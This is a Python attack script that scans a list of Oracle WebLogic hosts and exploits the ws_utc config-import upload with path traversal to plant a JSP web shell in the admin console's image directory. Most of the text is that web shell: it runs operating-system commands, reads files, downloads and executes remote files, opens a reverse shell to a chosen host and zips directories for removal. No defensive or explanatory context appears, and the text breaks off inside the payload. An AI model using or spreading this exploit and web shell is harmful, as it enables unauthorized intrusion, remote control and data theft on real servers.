#coding=utf-8 #Author By ddea import requests rs = open ("weblogic_ip1.txt","r")#被检测ip的文件 b = open ("havebigin3.txt","a+")#存在漏洞的输出文件 b.write("asdfasdf") for line in rs.readlines(): session = requests.Session() timeout = 40 site = line.strip() url = site + "ws_utc/resources/ws/config/import" url2 = site + "console/framework/skins/wlsconsole/images/_cat.jsp" print (url) payload4 = {"action":"exec","cmd":"whoami"} paramsGet = {"timestamp":"1522216072056"} paramsMultipart = [('../../../../../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/', ('cat.jsp', "<%@page import=\"java.util.zip.ZipEntry\"%>\n<%@page import=\"java.util.zip.ZipOutputStream\"%>\n<%@ page language=\"java\" pageEncoding=\"UTF-8\"%>\n<%@page import=\"java.util.*\"%>\n<%@page import=\"java.text.SimpleDateFormat\"%>\n<%@ page import=\"java.io.*\" %>\n<%@ page import=\"java.net.*\" %>\n<%!\n\x09static String encoding = \"UTF-8\";\n\x09\n\x09static{\n\x09\x09encoding = isNotEmpty(getSystemEncoding())?getSystemEncoding():encoding;\n\x09}\n\x09\n\x09/**\n\x09 * \xe5\xbc\x82\xe5\xb8\xb8\xe8\xbd\xac\xe6\x8d\xa2\xe6\x88\x90\xe5\xad\x97\xe7\xac\xa6\xe4\xb8\xb2\xef\xbc\x8c\xe8\x8e\xb7\xe5\x8f\x96\xe8\xaf\xa6\xe7\xbb\x86\xe5\xbc\x82\xe5\xb8\xb8\xe4\xbf\xa1\xe6\x81\xaf\n\x09 * @param e\n\x09 * @return\n\x09 */\n\x09static String exceptionToString(Exception e) {\n\x09 StringWriter sw = new StringWriter();\n\x09 e.printStackTrace(new PrintWriter(sw, true));\n\x09 return sw.toString();\n\x09}\n\x09\n\x09/**\n\x09 * \xe8\x8e\xb7\xe5\x8f\x96\xe7\xb3\xbb\xe7\xbb\x9f\xe6\x96\x87\xe4\xbb\xb6\xe7\xbc\x96\xe7\xa0\x81\n\x09 * @return\n\x09 */\n\x09static String getSystemEncoding(){\n\x09\x09return System.getProperty(\"sun.jnu.encoding\");\n\x09}\n\x09\n\x09/**\n\x09 * \xe9\x9d\x9e\xe7\xa9\xba\xe5\x88\xa4\xe6\x96\xad\n\x09 *\n\x09 * @param obj\n\x09 * @return\n\x09 */\n\x09static boolean isNotEmpty(Object obj) {\n\x09 if (obj == null) {\n\x09 return false;\n\x09 }\n\x09 return !\"\".equals(String.valueOf(obj).trim());\n\x09}\n\x09\n\x09/**\n\x09 * \xe8\xbe\x93\xe5\x85\xa5\xe6\xb5\x81\xe8\xbd\xac\xe4\xba\x8c\xe8\xbf\x9b\xe5\x88\xb6\xe6\x95\xb0\xe7\xbb\x84\xe8\xbe\x93\xe5\x87\xba\xe6\xb5\x81\n\x09 * @param in\n\x09 * @return\n\x09 * @throws IOException\n\x09 */\n\x09static ByteArrayOutputStream inutStreamToOutputStream(InputStream in) throws IOException{\n\x09\x09ByteArrayOutputStream baos = new ByteArrayOutputStream();\n\x09\x09byte[] b = new byte[1024];\n\x09 int a = 0;\n\x09 while((a = in.read(b))!=-1){\n\x09 \x09baos.write(b,0,a);\n\x09\x09}\n\x09\x09return baos;\n\x09}\n\x09\n\x09/**\n\x09 * \xe5\xa4\x8d\xe5\x88\xb6\xe6\xb5\x81\xe5\x88\xb0\xe6\x96\x87\xe4\xbb\xb6\xef\xbc\x8c\xe5\xa6\x82\xe6\x9e\x9c\xe6\x96\x87\xe4\xbb\xb6\xe5\xad\x98\xe5\x9c\xa8\xe9\xbb\x98\xe8\xae\xa4\xe4\xbc\x9a\xe8\xa6\x86\xe7\x9b\x96\n\x09 * @param in\n\x09 * @param path\n\x09 * @throws IOException\n\x09 */\n\x09static void copyInputStreamToFile(InputStream in,String path) throws IOException{\n\x09\x09FileOutputStream fos = new FileOutputStream(path);\n\x09\x09fos.write(inutStreamToOutputStream(in).toByteArray());\n\x09\x09fos.flush();\n\x09\x09fos.close();\n\x09}\n\x09\n\x09/**\n\x09 * \xe6\xa8\xa1\xe4\xbb\xbfLinux\xe4\xb8\x8b\xe7\x9a\x84cat Windows\xe4\xb8\x8b\xe7\x9a\x84type \xe6\x9f\xa5\xe7\x9c\x8b\xe6\x96\x87\xe4\xbb\xb6\xe5\x86\x85\xe5\xae\xb9 \n\x09 * @param path\n\x09 * @return\n\x09 * @throws IOException\n\x09 */\n\x09static String cat(String path) throws IOException {\n\x09\x09return new String(inutStreamToOutputStream(new FileInputStream(path)).toByteArray());\n\x09}\n\x09\n\x09/**\n\x09 * \xe6\x89\xa7\xe8\xa1\x8c\xe6\x93\x8d\xe4\xbd\x9c\xe7\xb3\xbb\xe7\xbb\x9f\xe5\x91\xbd\xe4\xbb\xa4 \xe5\xa6\x82\xe6\x9e\x9c\xe6\x98\xafwindows\xe6\x9f\x90\xe4\xba\x9b\xe5\x91\xbd\xe4\xbb\xa4\xe6\x89\xa7\xe8\xa1\x8c\xe4\xb8\x8d\xe4\xba\x86\xef\xbc\x8c\xe5\x8f\xaf\xe4\xbb\xa5\xe7\x94\xa8 cmd /c dir \xe6\x89\xa7\xe8\xa1\x8cdir\xe5\x91\xbd\xe4\xbb\xa4\n\x09 * @param cmd\n\x09 * @return\n\x09 */\n\x09static String exec(String cmd) {\n\x09\x09try {\n\x09\x09\x09return new String(inutStreamToOutputStream(Runtime.getRuntime().exec(cmd).getInputStream()).toByteArray(),encoding);\n\x09\x09} catch (IOException e) {\n\x09\x09\x09return exceptionToString(e);\n\x09\x09}\n\x09}\n\x09\n\x09/**\n\x09 * \xe4\xb8\x8b\xe8\xbd\xbd\xe6\x96\x87\xe4\xbb\xb6\xe5\x88\xb0\xe6\x8c\x87\xe5\xae\x9a\xe7\x9b\xae\xe5\xbd\x95,\xe4\xbf\x9d\xe5\xad\x98\xe7\x9a\x84\xe6\x96\x87\xe4\xbb\xb6\xe5\x90\x8d\xe5\xbf\x85\xe9\xa1\xbb\xe6\x8c\x87\xe5\xae\x9a\n\x09 * @param url\n\x09 * @param path\n\x09 * @throws MalformedURLException\n\x09 * @throws IOException\n\x09 */\n\x09static void download(String url,String path) throws MalformedURLException, IOException{\n\x09\x09copyInputStreamToFile(new URL(url).openConnection().getInputStream(), path);\n\x09}\n\x09\n\x09/**\n\x09 * \xe8\xbf\x9e\xe6\x8e\xa5\xe8\xbf\x9c\xe7\xa8\x8b\xe7\xab\xaf\xe5\x8f\xa3\xef\xbc\x8c\xe6\x8f\x90\xe4\xbe\x9b\xe6\x9c\xac\xe5\x9c\xb0\xe5\x91\xbd\xe4\xbb\xa4\xe6\x89\xa7\xe8\xa1\x8c\xe5\x85\xa5\xe5\x8f\xa3\n\x09 * @param host\n\x09 * @param port\n\x09 * @throws UnknownHostException\n\x09 * @throws IOException\n\x09 */\n\x09static void shell(String host,int port) throws UnknownHostException, IOException{\n\x09\x09Socket s = new Socket(host,port);\n\x09\x09OutputStream out = s.getOutputStream();\n\x09\x09InputStream in = s.getInputStream();\n\x09\x09out.write((\"User:\\t\"+exec(\"whoami\")).getBytes());\n\x09\x09int a = 0;\n\x09\x09byte[] b = new byte[1024];\n\x09\x09while((a=in.read(b))!=-1){\n\x09\x09\x09out.write(exec(new String(b,0,a,\"UTF-8\").trim()).getBytes(\"UTF-8\"));\n\x09\x09}\n\x09}\n\x09\n\x09/**\n\x09 * \xe4\xb8\x8b\xe8\xbd\xbd\xe8\xbf\x9c\xe7\xa8\x8b\xe6\x96\x87\xe4\xbb\xb6\xe5\xb9\xb6\xe6\x89\xa7\xe8\xa1\x8c\xef\xbc\x8c\xe5\x91\xbd\xe4\xbb\xa4\xe6\x89\xa7\xe8\xa1\x8c\xe5\xae\x8c\xe6\x88\x90\xe5\x90\x8e\xe4\xbc\x9a\xe5\x88\xa0\xe9\x99\xa4\xe4\xb8\x8b\xe8\xbd\xbd\xe7\x9a\x84\xe6\x96\x87\xe4\xbb\xb6\n\x09 * @param url\n\x09 * @param fileName\n\x09 * @param cmd\n\x09 * @return\n\x09 * @throws MalformedURLException\n\x09 * @throws IOException\n\x09 */\n\x09static String auto(String url,String fileName,String cmd) throws MalformedURLException, IOException{\n\x09\x09download(url, fileName);\n\x09\x09String out = exec(cmd);\n\x09\x09new File(fileName).delete();\n\x09\x09return out;\n\x09}\n\x09\n\x09static void saveFile(String file,String data) throws IOException{\n\x09\x09copyInputStreamToFile(new ByteArrayInputStream(data.getBytes()), file);\n\x09}\n\x09\n\x09/**\n\x09 * \xe6\x96\x87\xe4\xbb\xb6\xe5\x8e\x8b\xe7\xbc\xa9\n\x09 * @throws IOException\n\x09 */\n\x09static void zipFile(ZipOutputStream zos,File file) throws IOException{\n\x09\x09if(file.isDirectory() && file.canRead()){\n\x09\x09\x09File[] files = file.listFiles();\n\x09\x09\x09for(File f:files){\n\x09\x09\x09\x09zipFile(zos, f);\n\x09\x09\x09}\n\x09\x09}else{\n\x09\x09\x09ZipEntry z = new ZipEntry(file.getName());\n zos.putNextEntry(z);\n zos.write(inutStreamToOutputStream(new FileInputStream(file)).toByteArray());\n zos.closeEntry();\n\x09\x09}\n\x09}\n\x09\n\x09static void zip(ByteArrayOutputStream out,File file) throws IOException{\n\x09\x09ZipOutputStream zos = new ZipOutputStream(out);\n\x09\x09zipFile(zos,file);\n\x09}\n\x09\n%>\n\n
\n